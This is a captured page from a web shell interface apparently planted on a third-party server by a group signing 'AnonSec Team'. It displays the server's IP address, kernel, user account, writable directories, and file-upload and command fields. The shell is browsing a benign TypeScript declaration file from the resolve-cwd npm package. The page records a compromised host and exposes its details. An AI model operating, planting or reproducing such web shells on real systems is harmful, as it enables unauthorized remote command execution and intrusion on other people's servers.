NG1NDEX
Server IP : 150.95.80.236  /  Your IP : 18.216.245.99
Web Server : Apache
System : Linux host-150-95-80-236 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : social-telecare ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/pcu.in.th/api-uat.pcu.in.th/node_modules/resolve-cwd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/vhosts/pcu.in.th/api-uat.pcu.in.th/node_modules/resolve-cwd/index.d.ts
declare const resolveCwd: {
	/**
	Resolve the path of a module like [`require.resolve()`](https://nodejs.org/api/globals.html#globals_require_resolve) but from the current working directory.

	@param moduleId - What you would use in `require()`.
	@returns The resolved module path.
	@throws When the module can't be found.

	@example
	```
	import resolveCwd = require('resolve-cwd');

	console.log(__dirname);
	//=> '/Users/sindresorhus/rainbow'

	console.log(process.cwd());
	//=> '/Users/sindresorhus/unicorn'

	console.log(resolveCwd('./foo'));
	//=> '/Users/sindresorhus/unicorn/foo.js'
	```
	*/
	(moduleId: string): string;

	/**
	Resolve the path of a module like [`require.resolve()`](https://nodejs.org/api/globals.html#globals_require_resolve) but from the current working directory.

	@param moduleId - What you would use in `require()`.
	@returns The resolved module path. Returns `undefined` instead of throwing when the module can't be found.

	@example
	```
	import resolveCwd = require('resolve-cwd');

	console.log(__dirname);
	//=> '/Users/sindresorhus/rainbow'

	console.log(process.cwd());
	//=> '/Users/sindresorhus/unicorn'

	console.log(resolveCwd.silent('./foo'));
	//=> '/Users/sindresorhus/unicorn/foo.js'
	```
	*/
	silent(moduleId: string): string | undefined;
};

export = resolveCwd;

Anon7 - 2022
AnonSec Team